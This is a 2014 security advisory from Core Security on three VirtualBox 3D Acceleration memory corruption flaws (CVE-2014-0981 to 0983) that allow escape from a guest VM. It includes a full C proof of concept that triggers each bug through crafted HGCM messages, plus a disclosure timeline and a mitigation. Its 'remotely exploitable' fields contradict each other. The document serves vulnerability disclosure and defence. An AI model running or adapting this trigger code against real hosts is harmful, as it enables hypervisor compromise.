Oracle VirtualBox 3D Acceleration Multiple Memory Corruption Vulnerabilities

1. Advisory Information

Title: Oracle VirtualBox 3D Acceleration Multiple Memory Corruption Vulnerabilities
Advisory ID: CORE-2014-0002
Advisory URL: http://www.coresecurity.com/advisories/oracle-virtualbox-3d-acceleration-multiple-memory-corruption-vulnerabilities
Date published: 2014-03-11
Date of last update: 2014-03-11
Vendors contacted: Oracle
Release mode: User release

2. Vulnerability Information

Class: Improper Validation of Array Index [CWE-129], Improper Validation of Array Index [CWE-129], Improper Validation of Array Index [CWE-129]
Impact: Code execution
Remotely Exploitable: Yes
Locally Exploitable: No
CVE Name: CVE-2014-0981, CVE-2014-0982, CVE-2014-0983

3. Vulnerability Description

VirtualBox is a general-purpose full virtualizer for x86 hardware, targeted at server, desktop and embedded use.

VirtualBox provides -among many other features- 3D Acceleration for guest machines through its Guest Additions. This feature allows guest machines to use the host machine's GPU to render 3D graphics based on then OpenGL or Direct3D APIs.

Multiple memory corruption vulnerabilities have been found in the code that implements 3D Acceleration for OpenGL graphics in Oracle VirtualBox. These vulnerabilities could allow an attacker who is already running code within a Guest OS to escape from the virtual machine and execute arbitrary code on the Host OS.

4. Vulnerable packages

  • Oracle VirtualBox v4.2.20 and earlier.
  • Oracle VirtualBox v4.3.6 and earlier.
  • Other versions may be affected too but they were no checked.

5. Non-vulnerable packages

  • Oracle VirtualBox v4.3.8.

6. Vendor Information, Solutions and Workarounds

An effective mitigation would be to edit the configuration of the virtual machines and disable 3D Acceleration. Contact vendor for further information.

7. Credits

This vulnerability was discovered and researched by Francisco Falcon from Core Exploit Writers Team. The publication of this advisory was coordinated by Andres Blanco from Core Advisories Team.

8. Technical Description / Proof of Concept Code

VirtualBox makes use of the Chromium[1] open-source library (not to be confused with the open-source web browser) in order to provide 3D Acceleration for OpenGL graphics.

Chromium provides remote rendering of OpenGL graphics through a client/server model, in which a client (i.e. an OpenGL application) delegates the rendering to the server, which has access to 3D-capable hardware.

When 3D Acceleration is enabled in VirtualBox, OpenGL apps running within a Guest OS (acting as Chromium clients) will send rendering commands to the Chromium server, which is running in the context of the hypervisor in the Host OS.

The code that handles OpenGL rendering commands on the Host side is prone to multiple memory corruption vulnerabilities, as described below.

8.1. VirtualBox crNetRecvReadback Memory Corruption Vulnerability

[CVE-2014-0981] The first vulnerability is caused by a design flaw in Chromium. The Chromium server makes use of "network pointers". As defined in Chromium's documentation, "Network pointers are simply memory addresses that reside on another machine.[...] The networking layer will then take care of writing the payload data to the specified address."[2]

So the Chromium's server code, which runs in the context of the VirtualBox hypervisor in the Host OS, provides a write-what-where memory corruption primitive by design, which can be exploited to corrupt arbitrary memory addresses with arbitrary data in the hypervisor process from within a virtual machine.

This is the code of the vulnerable function [file src/VBox/GuestHost/OpenGL/util/net.c], which can be reached by sending a CR_MESSAGE_READBACK message to the VBoxSharedCrOpenGL service:

/**
 * Called by the main receive function when we get a CR_MESSAGE_READBACK
 * message.  Used to implement glGet*() functions.
 */
static void
crNetRecvReadback( CRMessageReadback *rb, unsigned int len )
{
    /* minus the header, the destination pointer,
     * *and* the implicit writeback pointer at the head. */

    int payload_len = len - sizeof( *rb );
    int *writeback;
    void *dest_ptr;
    crMemcpy( &writeback, &(rb->writeback_ptr), sizeof( writeback ) );
    crMemcpy( &dest_ptr, &(rb->readback_ptr), sizeof( dest_ptr ) );

    (*writeback)--;
    crMemcpy( dest_ptr, ((char *)rb) + sizeof(*rb), payload_len );
}

     

Note that rb points to a CRMessageReadback structure, which is fully controlled by the application running inside a VM that is sending OpenGL rendering commands to the Host side. The len parameter is also fully controlled from the Guest side, so it's possible to:

  1. decrement the value stored at any memory address within the address space of the hypervisor.
  2. write any data to any memory address within the address space of the hypervisor.

8.2. VirtualBox crNetRecvWriteback Memory Corruption Vulnerability

[CVE-2014-0982] The second vulnerability is closely related to the first one, and it's also caused by Chromium's "network pointers".

This is the code of the vulnerable function [file src/VBox/GuestHost/OpenGL/util/net.c], which can be reached by sending a CR_MESSAGE_WRITEBACK message to the VBoxSharedCrOpenGL service:

/**
 * Called by the main receive function when we get a CR_MESSAGE_WRITEBACK
 * message.  Writeback is used to implement glGet*() functions.
 */
static void
crNetRecvWriteback( CRMessageWriteback *wb )
{
    int *writeback;
    crMemcpy( &writeback, &(wb->writeback_ptr), sizeof( writeback ) );
    (*writeback)--;
}
     

Note that rb points to a CRMessageWriteback structure, which is fully controlled by the application running inside a VM that is sending OpenGL rendering commands to the Host side, so it's possible to decrement the value stored at any memory address within the address space of the hypervisor.

8.3. VirtualBox crServerDispatchVertexAttrib4NubARB Memory Corruption Vulnerability

[CVE-2014-0983] When an OpenGL application running inside a VM sends rendering commands (in the form of opcodes + data for those opcodes) through a CR_MESSAGE_OPCODES message, the Chromium server will handle them in the crUnpack function. The code for the crUnpack function is automatically generated by the Python script located at src/VBox/HostServices/SharedOpenGL/unpacker/unpack.py.

This function is basically a big switch statement dispatching different functions according to the opcode being processed:

void crUnpack( const void *data, const void *opcodes, 
        unsigned int num_opcodes, SPUDispatchTable *table )
{
    [...]
    unpack_opcodes = (const unsigned char *)opcodes;
    cr_unpackData = (const unsigned char *)data;

    for (i = 0 ; i < num_opcodes ; i++)
    {
        /*crDebug("Unpacking opcode \%d", *unpack_opcodes);*/
        switch( *unpack_opcodes )
        {
            case CR_ALPHAFUNC_OPCODE: crUnpackAlphaFunc(); break;
            case CR_ARRAYELEMENT_OPCODE: crUnpackArrayElement(); break;
            case CR_BEGIN_OPCODE: crUnpackBegin(); break;
            [...]
     

When the opcode being processed is CR_VERTEXATTRIB4NUBARB_OPCODE (0xEA), the function to be invoked is crUnpackVertexAttrib4NubARB:

    [...]
    case CR_VERTEXATTRIB4NUBARB_OPCODE: crUnpackVertexAttrib4NubARB(); break;
    [...]
     

The crUnpackVertexAttrib4NubARB function reads 5 values from the opcode data sent by the Chromium client, and just invokes cr_unpackDispatch.VertexAttrib4NubARB with those 5 values as arguments:

static void crUnpackVertexAttrib4NubARB(void)
{
  GLuint index = READ_DATA( 0, GLuint );
  GLubyte x = READ_DATA( 4, GLubyte );
  GLubyte y = READ_DATA( 5, GLubyte );
  GLubyte z = READ_DATA( 6, GLubyte );
  GLubyte w = READ_DATA( 7, GLubyte );
  cr_unpackDispatch.VertexAttrib4NubARB( index, x, y, z, w );
  INCR_DATA_PTR( 8 );
}
     

VertexAttrib4NubARB is a function pointer in a dispatch table, and points to the function crServerDispatchVertexAttrib4NubARB, whose code is generated by the Python script located at src/VBox/HostServices/SharedOpenGL/crserverlib/server_dispatch.py:

void SERVER_DISPATCH_APIENTRY crServerDispatchVertexAttrib4NubARB( GLuint index, GLubyte x, GLubyte y, GLubyte z, GLubyte w )
{
  cr_server.head_spu->dispatch_table.VertexAttrib4NubARB( index, x, y, z, w );
  cr_server.current.c.vertexAttrib.ub4[index] = cr_unpackData;
}
     

Note that the index parameter, which is a 4-byte integer coming from an untrusted source (the opcode data sent by the Chromium client from the VM), is used as an index within the cr_server.current.c.vertexAttrib.ub4 array in order to write cr_unpackData (which is a pointer to the attacker-controlled opcode data), without validating that the index is within the bounds of the array. This issue can be leveraged to corrupt arbitrary memory with a pointer to attacker-controlled data.

Also note that the same vulnerability affects several functions whose code is generated by the src/VBox/HostServices/SharedOpenGL/crserverlib/server_dispatch.py Python script:

Opcode CR_VERTEXATTRIB1DARB_OPCODE   [0xDE]  -> function crServerDispatchVertexAttrib1dARB
Opcode CR_VERTEXATTRIB1FARB_OPCODE   [0xDF]  -> function crServerDispatchVertexAttrib1fARB
Opcode CR_VERTEXATTRIB1SARB_OPCODE   [0xE0]  -> function crServerDispatchVertexAttrib1sARB
Opcode CR_VERTEXATTRIB2DARB_OPCODE   [0xE1]  -> function crServerDispatchVertexAttrib2dARB
Opcode CR_VERTEXATTRIB2FARB_OPCODE   [0xE2]  -> function crServerDispatchVertexAttrib2fARB
Opcode CR_VERTEXATTRIB2SARB_OPCODE   [0xE3]  -> function crServerDispatchVertexAttrib2sARB
Opcode CR_VERTEXATTRIB3DARB_OPCODE   [0xE4]  -> function crServerDispatchVertexAttrib3dARB
Opcode CR_VERTEXATTRIB3FARB_OPCODE   [0xE5]  -> function crServerDispatchVertexAttrib3fARB
Opcode CR_VERTEXATTRIB3SARB_OPCODE   [0xE6]  -> function crServerDispatchVertexAttrib3sARB
Opcode CR_VERTEXATTRIB4NUBARB_OPCODE [0xEA]  -> function crServerDispatchVertexAttrib4NubARB
Opcode CR_VERTEXATTRIB4DARB_OPCODE   [0xEF]  -> function crServerDispatchVertexAttrib4dARB
Opcode CR_VERTEXATTRIB4FARB_OPCODE   [0xF0]  -> function crServerDispatchVertexAttrib4fARB
Opcode CR_VERTEXATTRIB4SARB_OPCODE   [0xF2]  -> function crServerDispatchVertexAttrib4sARB
     

8.4. Proof of Concept

#include "stdafx.h"
#include <windows.h>
#include "vboxguest2.h"
#include "vboxguest.h"
#include "err.h"
#include "vboxcropenglsvc.h"
#include "cr_protocol.h"

#define VBOXGUEST_DEVICE_NAME "\\\\.\\VBoxGuest"


HANDLE open_device(){
	HANDLE hDevice = CreateFile(VBOXGUEST_DEVICE_NAME, 
							GENERIC_READ | GENERIC_WRITE, 
							FILE_SHARE_READ | FILE_SHARE_WRITE,
							NULL,
							OPEN_EXISTING,
							FILE_ATTRIBUTE_NORMAL,
							NULL);

	if (hDevice == INVALID_HANDLE_VALUE){
		printf("[-] Could not open device %s .\n", VBOXGUEST_DEVICE_NAME);
		exit(EXIT_FAILURE);
	}
	printf("[+] Handle to %s: 0x%X\n", VBOXGUEST_DEVICE_NAME, hDevice);
	return hDevice;


}


uint32_t do_connect(HANDLE hDevice){
	VBoxGuestHGCMConnectInfo info;
	DWORD cbReturned = 0;
	BOOL rc;

	memset(&info, 0, sizeof(info));
	info.Loc.type = VMMDevHGCMLoc_LocalHost_Existing;
	strcpy(info.Loc.u.host.achName, "VBoxSharedCrOpenGL");

	rc = DeviceIoControl(hDevice, VBOXGUEST_IOCTL_HGCM_CONNECT, &info, sizeof(info), &info, sizeof(info), &cbReturned, NULL);
	if (!rc){
		printf("ERROR: DeviceIoControl failed in function do_connect()! LastError: %d\n", GetLastError());
		exit(EXIT_FAILURE);
	}

	if (info.result == VINF_SUCCESS){
		printf("HGCM connect was successful: client id =0x%x\n", info.u32ClientID);
	}
	else{
		//If 3D Acceleration is disabled, info.result value will be -2900.
		printf("[-] HGCM connect failed. Result: %d (Is 3D Acceleration enabled??)\n", info.result);
		exit(EXIT_FAILURE);
	}
	return info.u32ClientID;
}


void do_disconnect(HANDLE hDevice, uint32_t u32ClientID){
	BOOL rc;
	VBoxGuestHGCMDisconnectInfo info;
	DWORD cbReturned = 0;

	memset(&info, 0, sizeof(info));
	info.u32ClientID = u32ClientID;
	printf("Sending VBOXGUEST_IOCTL_HGCM_DISCONNECT message...\n");
	rc = DeviceIoControl(hDevice, VBOXGUEST_IOCTL_HGCM_DISCONNECT, &info, sizeof(info), &info, sizeof(info), &cbReturned, NULL);
	if (!rc){
		printf("ERROR: DeviceIoControl failed in function do_disconnect()! LastError: %d\n", GetLastError());
		exit(EXIT_FAILURE);
	}

	if (info.result == VINF_SUCCESS){
		printf("HGCM disconnect was successful.\n");
	}
	else{
		printf("[-] HGCM disconnect failed. Result: %d\n", info.result);
		exit(EXIT_FAILURE);
	}

}


void set_version(HANDLE hDevice, uint32_t u32ClientID){
    CRVBOXHGCMSETVERSION parms;
	DWORD cbReturned = 0;
	BOOL rc;

	memset(&parms, 0, sizeof(parms));
    parms.hdr.result      = VERR_WRONG_ORDER;
    parms.hdr.u32ClientID = u32ClientID;
    parms.hdr.u32Function = SHCRGL_GUEST_FN_SET_VERSION;
    parms.hdr.cParms      = SHCRGL_CPARMS_SET_VERSION;

    parms.vMajor.type      = VMMDevHGCMParmType_32bit;
    parms.vMajor.u.value32 = CR_PROTOCOL_VERSION_MAJOR;
    parms.vMinor.type      = VMMDevHGCMParmType_32bit;
    parms.vMinor.u.value32 = CR_PROTOCOL_VERSION_MINOR;

	rc = DeviceIoControl(hDevice, VBOXGUEST_IOCTL_HGCM_CALL, &parms, sizeof(parms), &parms, sizeof(parms), &cbReturned, NULL);

	if (!rc){
		printf("ERROR: DeviceIoControl failed in function set_version()! LastError: %d\n", GetLastError());
		exit(EXIT_FAILURE);
	}

	if (parms.hdr.result == VINF_SUCCESS){
		printf("HGCM Call successful. cbReturned: 0x%X.\n", cbReturned);
	}
	else{
		printf("Host didn't accept our version.\n");
		exit(EXIT_FAILURE);
	}
}


void set_pid(HANDLE hDevice, uint32_t u32ClientID){
	CRVBOXHGCMSETPID parms;
	DWORD cbReturned = 0;
	BOOL rc;

	memset(&parms, 0, sizeof(parms));
    parms.hdr.result      = VERR_WRONG_ORDER;
    parms.hdr.u32ClientID = u32ClientID;
    parms.hdr.u32Function = SHCRGL_GUEST_FN_SET_PID;
    parms.hdr.cParms      = SHCRGL_CPARMS_SET_PID;

    parms.u64PID.type     = VMMDevHGCMParmType_64bit;
    parms.u64PID.u.value64 = GetCurrentProcessId();

	rc = DeviceIoControl(hDevice, VBOXGUEST_IOCTL_HGCM_CALL, &parms, sizeof(parms), &parms, sizeof(parms), &cbReturned, NULL);

	if (!rc){
		printf("ERROR: DeviceIoControl failed in function set_pid()! LastError: %d\n", GetLastError());
		exit(EXIT_FAILURE);
	}

	if (parms.hdr.result == VINF_SUCCESS){
		printf("HGCM Call successful. cbReturned: 0x%X.\n", cbReturned);
	}
	else{
		printf("Host didn't like our PID %d\n", GetCurrentProcessId());
		exit(EXIT_FAILURE);
	}

}


/* Triggers the vulnerability in the crNetRecvReadback function. */
void trigger_message_readback(HANDLE hDevice, uint32_t u32ClientID){
	CRVBOXHGCMINJECT parms;
	DWORD cbReturned = 0;
	BOOL rc;
	char mybuf[1024];
	CRMessageReadback msg;

	memset(&msg, 0, sizeof(msg));
	msg.header.type = CR_MESSAGE_READBACK;
	msg.header.conn_id = 0x8899;


	//This address will be decremented by 1
	*((DWORD *)&msg.writeback_ptr.ptrSize) = 0x88888888;
	//Destination address for the memcpy
	*((DWORD *)&msg.readback_ptr.ptrSize) = 0x99999999;

	memcpy(&mybuf, &msg, sizeof(msg));
	strcpy(mybuf + sizeof(msg), "Hi hypervisor!");

	memset(&parms, 0, sizeof(parms));
    parms.hdr.result      = VERR_WRONG_ORDER;
    parms.hdr.u32ClientID = u32ClientID;
    parms.hdr.u32Function = SHCRGL_GUEST_FN_INJECT;
    parms.hdr.cParms      = SHCRGL_CPARMS_INJECT;

    parms.u32ClientID.type       = VMMDevHGCMParmType_32bit;
    parms.u32ClientID.u.value32  = u32ClientID;

    parms.pBuffer.type                   = VMMDevHGCMParmType_LinAddr_In;
    parms.pBuffer.u.Pointer.size         = sizeof(mybuf); //size for the memcpy: sizeof(mybuf) - 0x18
    parms.pBuffer.u.Pointer.u.linearAddr = (uintptr_t) mybuf;

	rc = DeviceIoControl(hDevice, VBOXGUEST_IOCTL_HGCM_CALL, &parms, sizeof(parms), &parms, sizeof(parms), &cbReturned, NULL);

	if (!rc){
		printf("ERROR: DeviceIoControl failed in function trigger_message_readback()!. LastError: %d\n", GetLastError());
		exit(EXIT_FAILURE);
	}

	if (parms.hdr.result == VINF_SUCCESS){
		printf("HGCM Call successful. cbReturned: 0x%X.\n", cbReturned);
	}
	else{
		printf("HGCM Call failed. Result: %d\n", parms.hdr.result);
		exit(EXIT_FAILURE);
	}
}


/* Triggers the vulnerability in the crNetRecvWriteback function. */
void trigger_message_writeback(HANDLE hDevice, uint32_t u32ClientID){
	CRVBOXHGCMINJECT parms;
	DWORD cbReturned = 0;
	BOOL rc;
	char mybuf[512];
	CRMessage msg;

	memset(&mybuf, 0, sizeof(mybuf));

	memset(&msg, 0, sizeof(msg));
	msg.writeback.header.type = CR_MESSAGE_WRITEBACK;
	msg.writeback.header.conn_id = 0x8899;
	//This address will be decremented by 1
	*((DWORD *)msg.writeback.writeback_ptr.ptrSize) = 0xAABBCCDD;

	memcpy(&mybuf, &msg, sizeof(msg));
	strcpy(mybuf + sizeof(msg), "dummy");

	memset(&parms, 0, sizeof(parms));
    parms.hdr.result      = VERR_WRONG_ORDER;
    parms.hdr.u32ClientID = u32ClientID;
    parms.hdr.u32Function = SHCRGL_GUEST_FN_INJECT;
    parms.hdr.cParms      = SHCRGL_CPARMS_INJECT;

    parms.u32ClientID.type       = VMMDevHGCMParmType_32bit;
    parms.u32ClientID.u.value32  = u32ClientID;

    parms.pBuffer.type                   = VMMDevHGCMParmType_LinAddr_In;
    parms.pBuffer.u.Pointer.size         = sizeof(mybuf);
    parms.pBuffer.u.Pointer.u.linearAddr = (uintptr_t) mybuf;


	rc = DeviceIoControl(hDevice, VBOXGUEST_IOCTL_HGCM_CALL, &parms, sizeof(parms), &parms, sizeof(parms), &cbReturned, NULL);

	if (!rc){
		printf("ERROR: DeviceIoControl failed in function trigger_message_writeback()! LastError: %d\n", GetLastError());
		exit(EXIT_FAILURE);
	}

	if (parms.hdr.result == VINF_SUCCESS){
		printf("HGCM Call successful. cbReturned: 0x%X.\n", cbReturned);
	}
	else{
		printf("HGCM Call failed. Result: %d\n", parms.hdr.result);
		exit(EXIT_FAILURE);
	}

}


/* Triggers the vulnerability in the crServerDispatchVertexAttrib4NubARB function. */
void trigger_opcode_0xea(HANDLE hDevice, uint32_t u32ClientID){
	CRVBOXHGCMINJECT parms;
	char mybuf[0x10f0];
	DWORD cbReturned = 0;
	BOOL rc;

	unsigned char opcodes[] = {0xFF, 0xea, 0x02, 0xf7};
	DWORD opcode_data[] = 
					{0x08,						//Advance 8 bytes after executing opcode 0xF7, subopcode 0x30
					0x30,						//Subopcode for opcode 0xF7
					0x331,						//Argument for opcode 0x02
					0xFFFCFA4B,					//This is the negative index used to trigger the memory corruption
					0x41414141};				//Junk

	CRMessageOpcodes msg_opcodes;

	memset(&mybuf, 0, sizeof(mybuf));

	memset(&msg_opcodes, 0, sizeof(msg_opcodes));
	msg_opcodes.header.conn_id = 0x8899;
	msg_opcodes.header.type = CR_MESSAGE_OPCODES;
	msg_opcodes.numOpcodes = sizeof(opcodes);

	char *offset = (char *)&mybuf;
	memcpy(offset, &msg_opcodes, sizeof(msg_opcodes));
	offset += sizeof(msg_opcodes);

	/*----- Opcodes -----*/
	memcpy(offset, &opcodes, sizeof(opcodes));
	offset += sizeof(opcodes);

	/*----- data for the opcodes -----*/
	memcpy(offset, &opcode_data, sizeof(opcode_data));
	offset += sizeof(opcode_data);


	memset(&parms, 0, sizeof(parms));
    parms.hdr.result      = 0;
    parms.hdr.u32ClientID = u32ClientID;
    parms.hdr.u32Function = SHCRGL_GUEST_FN_INJECT;
    parms.hdr.cParms      = SHCRGL_CPARMS_INJECT;

    parms.u32ClientID.type       = VMMDevHGCMParmType_32bit;
    parms.u32ClientID.u.value32  = u32ClientID;

    parms.pBuffer.type                   = VMMDevHGCMParmType_LinAddr_In;
    parms.pBuffer.u.Pointer.size         = sizeof(mybuf);
    parms.pBuffer.u.Pointer.u.linearAddr = (uintptr_t) mybuf;

	rc = DeviceIoControl(hDevice, VBOXGUEST_IOCTL_HGCM_CALL, &parms, sizeof(parms), &parms, sizeof(parms), &cbReturned, NULL);

	if (!rc){
		printf("ERROR: DeviceIoControl failed in function trigger_opcode_0xea()! LastError: %d\n", GetLastError());
		exit(EXIT_FAILURE);
	}

	if (parms.hdr.result == VINF_SUCCESS){
		printf("HGCM Call successful. cbReturned: 0x%X.\n", cbReturned);
	}
	else{
		printf("HGCM Call failed. Result: %d\n", parms.hdr.result);
		exit(EXIT_FAILURE);
	}

}


void poc(int option){
	HANDLE hDevice;
	uint32_t u32ClientID;

	/* Connect to the VBoxSharedCrOpenGL service */
	hDevice = open_device();
	u32ClientID = do_connect(hDevice);

	/* Set version and PID */
	set_version(hDevice, u32ClientID);
	set_pid(hDevice, u32ClientID);

	switch (option){
	case 1:
		printf("[1] triggering the first bug...\n");
		trigger_message_readback(hDevice, u32ClientID);
		break;
	case 2:
		printf("[2] triggering the second bug...\n");
		trigger_message_writeback(hDevice, u32ClientID);
		break;
	case 3:
		printf("[3] triggering the third bug...\n");
		trigger_opcode_0xea(hDevice, u32ClientID);
		break;
	default:
		printf("[!] Unknown option %d.\n", option);
	}

	/* Disconnect from the VBoxSharedCrOpenGL service */
	do_disconnect(hDevice, u32ClientID);
	CloseHandle(hDevice);
}




int main(int argc, char* argv[])
{
	if (argc < 2){
		printf("Usage: %s <option number>\n\n", argv[0]);
		printf("* Option 1: trigger the vulnerability in the crNetRecvReadback function.\n");
		printf("* Option 2: trigger the vulnerability in the crNetRecvWriteback function.\n");
		printf("* Option 3: trigger the vulnerability in the crServerDispatchVertexAttrib4NubARB function.\n");
		exit(1);
	}
	poc(atoi(argv[1]));
}
     

9. Report Timeline

  • 2014-02-11: Core Security Technologies notifies the VirtualBox team of the vulnerability. Publication date is set for March 4th, 2014.
  • 2014-02-12: Vendor acknowledges the receipt of the information. Vendor asks to coordinate the release for April 15, 2014 which is the earliest possible date for publishing this issue from Oracle.
  • 2014-02-12: Core schedules the advisory publication for April 15, 2014 and asks for regular status reports.
  • 2014-03-04: First release date missed.
  • 2014-03-07: Vendor releases fixes of some affected versions [3][4].
  • 2014-03-07: Core notifies that, given that some patches were disclosed, the advisory will we released as user release ASAP.
  • 2014-03-07: Vendor asks for delaying the advisory publication given that some versions are still vulnerable.
  • 2014-03-10: Core notifies that the advisory is going to be published because once the fixes have been made public the vulnerability is public as well.
  • 2014-03-10: Vendor notifies that they will not include credit to Core researchers given that the advisory is being published before a fix is available to all affected versions.
  • 2014-03-11: Advisory CORE-2014-0002 published as user release.

10. References

[1] http://chromium.sourceforge.net/
[2] http://chromium.sourceforge.net/doc/howitworks.html
[3] https://www.virtualbox.org/changeset/50441/vbox
[4] https://www.virtualbox.org/changeset/50437/vbox

11. About CoreLabs

CoreLabs, the research center of Core Security Technologies, is charged with anticipating the future needs and requirements for information security technologies. We conduct our research in several important areas of computer security including system vulnerabilities, cyber attack planning and simulation, source code auditing, and cryptography. Our results include problem formalization, identification of vulnerabilities, novel solutions and prototypes for new technologies. CoreLabs regularly publishes security advisories, technical papers, project information and shared software tools for public use at: http://corelabs.coresecurity.com.

12. About Core Security Technologies

Core Security Technologies enables organizations to get ahead of threats with security test and measurement solutions that continuously identify and demonstrate real-world exposures to their most critical assets. Our customers can gain real visibility into their security standing, real validation of their security controls, and real metrics to more effectively secure their organizations.

Core Security's software solutions build on over a decade of trusted research and leading-edge threat expertise from the company's Security Consulting Services, CoreLabs and Engineering groups. Core Security Technologies can be reached at +1 (617) 399-6980 or on the Web at: http://www.coresecurity.com.

13. Disclaimer

The contents of this advisory are copyright (c) 2014 Core Security Technologies and (c) 2014 CoreLabs, and are licensed under a Creative Commons Attribution Non-Commercial Share-Alike 3.0 (United States) License: http://creativecommons.org/licenses/by-nc-sa/3.0/us/

14. PGP/GPG Keys

This advisory has been signed with the GPG key of Core Security Technologies advisories team, which is available for download at http://www.coresecurity.com/files/attachments/core_security_advisories.asc.

Published Date: 
Tuesday, March 11, 2014
Last Updated: 
Tuesday, March 11, 2014 - 3:45pm
Locally Exploitable: 
no
Remotely Exploitable: 
no
CVE Name: 
CVE-2014-0981
CVE-2014-0982
CVE-2014-0983
  • Request Info

Research Blog